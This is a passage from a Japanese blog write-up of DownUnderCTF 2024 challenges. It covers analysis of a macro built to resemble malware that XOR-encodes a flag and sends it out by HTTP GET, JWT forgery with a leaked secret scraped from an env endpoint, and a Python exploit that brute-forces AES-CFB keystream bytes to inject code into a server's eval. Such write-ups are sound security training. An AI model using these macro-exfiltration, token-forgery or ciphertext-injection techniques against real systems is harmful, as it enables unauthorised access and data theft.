End Function




' Totally Not Malware

















' MDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTEwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTEwMDAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTEwMDAgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAxMDE=







Public Function forensics(B As String) As String
    Dim A() As Byte
    Dim I As Integer
    Dim C As String
    A = StrConv(B, vbFromUnicode)
    For I = LBound(A) To UBound(A)
        C = C & CStr(A(I)) & " "
    Next I
    C = Trim(C)
    forensics = C
End Function

-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Sheet2.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|Suspicious|Open                |May open a file                              |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|MSXML2.ServerXMLHTTP|May download files from the Internet         |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Xor                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |https://play.duc.tf/|URL                                          |
|IOC       |http://flag.com/    |URL                                          |
|IOC       |http://play.duc.tf/ |URL                                          |
|IOC       |http://en.wikipedia.|URL                                          |
|          |org/wiki/Emu_War    |                                             |
|IOC       |http://downunderctf.|URL                                          |
|          |com/                |                                             |
+----------+--------------------+---------------------------------------------+

pcapファイルの内容と合わせ、macro1関数内を見ていく。

    N = importantThing()
    K = "Yes"
    S = "Mon"
    U = forensics(K)
    V = totalyFine(U)
    D = "Ma"
    J = "https://play.duc.tf/" + V
    superThing (J)
    J = "http://flag.com/"
    superThing (J)
    G = "key"
    J = "http://play.duc.tf/"
    superThing (J)
    J = "http://en.wikipedia.org/wiki/Emu_War"
    superThing (J)
    N = importantThing()
    Path = ThisWorkbook.Path & "\flag.xlsx"
    Set wb = Workbooks.Open(Path)
    Dim valueA1 As Variant
    valueA1 = wb.Sheets(1).Range("A1").Value
    MsgBox valueA1
    wb.Close SaveChanges:=False
    F = "gic"
    N = importantThing()
    Q = "Flag: " & valueA1
    H = "Try Harder"
    U = forensics(H)
    V = totalyFine(U)
    J = "http://downunderctf.com/" + V ★No.304のHTTP GETメソッド通信のURL
    superThing (J)
    W = S + G + D + F
    O = doThing(Q, W)
    M = anotherThing(O, W)
    A = something(O)
    Z = forensics(O)
    N = importantThing()
    P = "Pterodactyl"
    U = forensics(P)
    V = totalyFine(U)
    J = "http://play.duc.tf/" + V ★No.315のHTTP GETメソッド通信のURL
    superThing (J)
    T = totalyFine(Z)
    MsgBox T
    J = "http://downunderctf.com/" + T ★No.351のHTTP GETメソッド通信のURL
    superThing (J)
    N = importantThing()
    E = "Forensics"
    U = forensics(E)
    V = totalyFine(U)
    J = "http://play.duc.tf/" + V ★No.362のHTTP GETメソッド通信のURL
    superThing (J)
|||<
Jはどのようにして生成されるかを確認する。
>||
・S = "Mon"
・D = "Ma"
・G = "key"
・F = "gic"
・Q = "Flag: " & valueA1
・W = S + G + D + F(="MonkeyMagic")
・O = doThing(Q, W)

OはQとWのXORになっており、Tで"-"区切りで指定されることになる。pcapファイルからJは以下のようになっている。

http://downunderctf.com/11-3-15-12-95-89-9-52-36-61-37-54-34-90-15-86-38-26-80-19-1-60-12-38-49-9-28-38-0-81-9-2-80-52-28-19

後ろのパスの値からASCIIコードを取り出し、"MonkeyMagic"とのXORをする。

#!/usr/bin/env python3
s = '11-3-15-12-95-89-9-52-36-61-37-54-34-90-15-86-38-26-80-19-1-60-12-38-49-9-28-38-0-81-9-2-80-52-28-19'
s = s.split('-')

key = 'MonkeyMagic'

flag = ''
for i in range(len(s)):
    flag += chr(int(s[i]) ^ ord(key[i % len(key)]))
print(flag)

この結果以下の通りとなった。

Flag: DUCTF{M4d3_W1th_AI_by_M0nk3ys}
DUCTF{M4d3_W1th_AI_by_M0nk3ys}

emuc2 (forensics) [easy]

Wiresharkで開き、[編集]>[設定]から[Protocolos]>[TLS]を選択し、(Pre)-Master-Secret log filenameにsslkeylogfile.txtを設定する。復号されるので、http2でフィルタリングして確認することができる。
No.1233パケットで、/api/loginに以下のデータを送信している。

{"username": "jooospeh", "password": "n3v3r-g0nna-g1v3-th3-b1rds-up"}

https://forensics-emuc2-b6abd8652aa4.2024.ductf.dev/に実際にアクセスすると、ログイン画面になる。適当にUsername, Passwordを入力し、Submitすると、/api/loginにアクセスしていることがわかる。
以下のアカウントでログインしてみるとログインできた。

jooospeh / n3v3r-g0nna-g1v3-th3-b1rds-up

以下のtokenが得られ、自動的に/api/flagにHTTPヘッダで送信されているが、失敗している。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJzdWJqZWN0X2lkIjowLCJleHAiOjE3MjAyNTQxNTN9.jdtfqLopOcRL6RodIXQWLyTW3y9yTtVOiI4W431RLQEmq2FbI1LV1tb5sYCWuMKxcBJBPi6Vl_0nrAL5t3onZg

No.3620パケットで/api/envにアクセスし、環境設定情報のファイル一覧を取得している。すべてのファイルを取得し、JWTのSignatureのsecretデータが含まれていないかを見てみる。

#!/usr/bin/env python3
import requests
import json

base_url = 'https://forensics-emuc2-b6abd8652aa4.2024.ductf.dev/api/env/'

r = requests.get(base_url)
files = json.loads(r.text)

for file in files:
    url = base_url + file
    r = requests.get(url)
    print('#' * 72)
    print('# ', file)
    print(r.text)

すると、あるファイルの内容は以下のようになっていることがわかった。

########################################################################
#  T4yLN35GKLhxTgaykWxdgROCAwIBE3FO
2023-04-13T07:42:01Z
CARGO=/usr/local/Cellar/rust/1.78.0/bin/cargo
CARGO_MANIFEST_DIR=/Users/adrian/Documents/super-cool-malware
CARGO_PKG_AUTHORS=
CARGO_PKG_DESCRIPTION=
CARGO_PKG_HOMEPAGE=
CARGO_PKG_LICENSE=
CARGO_PKG_LICENSE_FILE=
CARGO_PKG_NAME=malware
CARGO_PKG_README=
CARGO_PKG_REPOSITORY=
CARGO_PKG_RUST_VERSION=
CARGO_PKG_VERSION=0.1.0
CARGO_PKG_VERSION_MAJOR=0
CARGO_PKG_VERSION_MINOR=1
CARGO_PKG_VERSION_PATCH=0
CARGO_PKG_VERSION_PRE=
COLORTERM=truecolor
COMMAND_MODE=unix2003
DYLD_FALLBACK_LIBRARY_PATH=/Users/adrian/Documents/super-cool-malware/target/debug/build/ring-dee52c3b1b943469/out:/Users/adrian/Documents/super-cool-malware/target/debug/deps:/Users/adrian/Documents/super-cool-malware/target/debug:/usr/local/Cellar/rust/1.78.0/lib/rustlib/x86_64-apple-darwin/lib:/Users/adrian/lib:/usr/local/lib:/usr/lib
GIT_ASKPASS=/Applications/Visual Studio Code.app/Contents/Resources/app/extensions/git/dist/askpass.sh
HOME=/Users/adrian
JWT_SECRET=3gHsCBkpZLi99zyiPqfY/NfFJqZzmNL4BAhYN8rAjRn49baTcnmyGISLD6T58XcWIUYrBfltI2iq2N6OHQSrfqBRFxFta61PvmnfRyn8Ep8T55lvLT8Es62kN3x35Bcb0OZmOGmM/zKf2qadcBq3Nbq1MiIVKJMz4w3JOk4orwFPtSNpNh8uaSQQUNMKTT6cvD9bvRvFNeeHYSPhDFwayPIRr5TJ+BpIRTUTfc1C3WCKoOuXCz2t+ISZo5yYwZ6U5w7NKFTTuDqMP/dXevkVykuntdej55XE3fsCP+UVFUT2JrY+Z9Q1aKTgavQR5smYVn93RlpbFwCoSStoANnoi
KITTY_INSTALLATION_DIR=/Applications/kitty.app/Contents/Resources/kitty
KITTY_PID=30468
KITTY_WINDOW_ID=5
LANG=en_AU.UTF-8
LESS=-R
LOGNAME=adrian
LSCOLORS=Gxfxcxdxbxegedabagacad
LS_COLORS=di=1;36:ln=35:so=32:pi=33:ex=31:bd=34;46:cd=34;43:su=30;41:sg=30;46:tw=30;42:ow=30;43
MANPATH=/Users/adrian/.nvm/versions/node/v20.14.0/share/man:/usr/share/man:/usr/local/share/man:/Applications/Wireshark.app/Contents/Resources/share/man:/Applications/kitty.app/Contents/Resources/man:
MallocNanoZone=0
NVM_BIN=/Users/adrian/.nvm/versions/node/v20.14.0/bin
NVM_CD_FLAGS=-q
NVM_DIR=/Users/adrian/.nvm
NVM_INC=/Users/adrian/.nvm/versions/node/v20.14.0/include/node
OLDPWD=/Users/adrian/Documents/super-cool-malware
ORIGINAL_XDG_CURRENT_DESKTOP=undefined
PAGER=less
PATH=/usr/local/opt/node@16/bin:/usr/local/sbin:/Users/adrian/.docker/bin:/Users/adrian/bin:/usr/local/bin:/usr/local/Cellar/pyenv-virtualenv/1.2.1/shims:/Users/adrian/.pyenv/shims:/Users/adrian/.nvm/versions/node/v20.14.0/bin:/usr/local/bin:/System/Cryptexes/App/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin:/var/run/com.apple.security.cryptexd/codex.system/bootstrap/usr/local/bin:/var/run/com.apple.security.cryptexd/codex.system/bootstrap/usr/bin:/var/run/com.apple.security.cryptexd/codex.system/bootstrap/usr/appleinternal/bin:/Applications/Wireshark.app/Contents/MacOS:/usr/local/opt/node@16/bin:/usr/local/sbin:/Users/adrian/.docker/bin:/Users/adrian/bin:/usr/local/Cellar/pyenv-virtualenv/1.2.1/shims:/Users/adrian/.cargo/bin:/Applications/kitty.app/Contents/MacOS:/Users/adrian/.go/bin:/Users/adrian/.cargo/bin:/Users/adrian/.go/bin
PWD=/Users/adrian/Documents/super-cool-malware
PYENV_SHELL=zsh
PYENV_VIRTUALENV_INIT=1
SHELL=/bin/zsh
SHLVL=3
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.cXbvzOe6VR/Listeners
TERM=xterm-256color
TERMINFO=/Applications/kitty.app/Contents/Resources/kitty/terminfo
TERM_PROGRAM=vscode
TERM_PROGRAM_VERSION=1.89.1
TMPDIR=/var/folders/qp/0t5_b5k12bj8y3fkkwdnz_000000gn/T/
USER=adrian
USER_ZDOTDIR=/Users/adrian
VSCODE_GIT_ASKPASS_EXTRA_ARGS=
VSCODE_GIT_ASKPASS_MAIN=/Applications/Visual Studio Code.app/Contents/Resources/app/extensions/git/dist/askpass-main.js
VSCODE_GIT_ASKPASS_NODE=/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper (Plugin).app/Contents/MacOS/Code Helper (Plugin)
VSCODE_GIT_IPC_HANDLE=/var/folders/qp/0t5_b5k12bj8y3fkkwdnz_000000gn/T/vscode-git-17f7383ca1.sock
VSCODE_INJECTION=1
WINDOWID=3781
XPC_FLAGS=0x0
XPC_SERVICE_NAME=0
ZDOTDIR=/Users/adrian
ZSH=/Users/adrian/.oh-my-zsh
_=/usr/local/bin/cargo
__CFBundleIdentifier=com.microsoft.VSCode
__CF_USER_TEXT_ENCODING=0x1F5:0:15

JWT_SECRETの値が以下のようになっている。

3gHsCBkpZLi99zyiPqfY/NfFJqZzmNL4BAhYN8rAjRn49baTcnmyGISLD6T58XcWIUYrBfltI2iq2N6OHQSrfqBRFxFta61PvmnfRyn8Ep8T55lvLT8Es62kN3x35Bcb0OZmOGmM/zKf2qadcBq3Nbq1MiIVKJMz4w3JOk4orwFPtSNpNh8uaSQQUNMKTT6cvD9bvRvFNeeHYSPhDFwayPIRr5TJ+BpIRTUTfc1C3WCKoOuXCz2t+ISZo5yYwZ6U5w7NKFTTuDqMP/dXevkVykuntdej55XE3fsCP+UVFUT2JrY+Z9Q1aKTgavQR5smYVn93RlpbFwCoSStoANnoi

https://jwt.io/でtokenを入力し、上記のsecretの値をSignaureに入れると、Verifiedとなった。
subject_idを"1"にして、tokenを生成してみる。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJzdWJqZWN0X2lkIjoxLCJleHAiOjE3MjAyNTQxNTN9.QRtGwf0TpMWrgpTo0cbIp1DVaHcykL4E0YqHLrepyVKUCCaUsSTUdzfKETVLrYZIpGvJZVpd0DJS2Nyt0C9Kng
$ curl https://forensics-emuc2-b6abd8652aa4.2024.ductf.dev/api/flag -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJzdWJqZWN0X2lkIjoxLCJleHAiOjE3MjAzNTQxNTN9.upNxKrlit3yzptlwKzYysFAto6lUV4-xFDGnVbs7lZ6BFt4IkEjm39IrOVkeg9RHFzm8LaVoED-lxCnqAFSWjQ'
{"flag":"DUCTF{pǝʇɔǝɟuᴉ_sᴉ_ǝlᴉɟ_dᴉz_ǝɥʇ_oʇ_pɹoʍssɐd_ǝɥʇ}"}
DUCTF{pǝʇɔǝɟuᴉ_sᴉ_ǝlᴉɟ_dᴉz_ǝɥʇ_oʇ_pɹoʍssɐd_ǝɥʇ}

decrypt then eval (crypto) [easy]

サーバの処理概要は以下の通り。

・KEY: ランダム16バイト文字列
・IV: ランダム16バイト文字列
・FLAG: フラグ
・以下繰り返し
 ・ct: 入力→hexデコード
 ・KEY, IVを使って、ctをAES CFBモードで復号したものをevalして表示

CFBモードなので、平文と暗号文のXORは同じになる。ブルートフォースで"1"に復号するものを探す。さらに"11"というように探していく。同様にして"1111"まで見つけることができたら、XORで"FLAG"になるように指定すればフラグが取得できる。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('2024.ductf.dev', 30020))

xor_key = b''
for i in range(4):
    for j in range(256):
        ct = strxor(xor_key, b'1' * i) + bytes([j])
        ct_hex = ct.hex()
        data = recvuntil(s, b': ')
        print(data + ct_hex)
        s.sendall(ct_hex.encode() + b'\n')
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        if data == '1' * (i + 1):
            xor_key += bytes([j ^ ord('1')])
            break

ct = strxor(xor_key, b'FLAG')
ct_hex = ct.hex()
data = recvuntil(s, b': ')
print(data + ct_hex)
s.sendall(ct_hex.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

        :
ct: da564127
invalid ct!
ct: da564128
1113
ct: da564129
1112
ct: da56412a
1111
ct: ad2b315c
DUCTF{should_have_used_authenticated_encryption!}
DUCTF{should_have_used_authenticated_encryption!}

survey (misc) [beginner]

アンケートに答えていくと、最後にある画像にフラグが書いてあった。

DUCTF{hop3_u_had_fun}



以上の内容はhttps://yocchin.hatenablog.com/entry/2024/07/09/082723より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14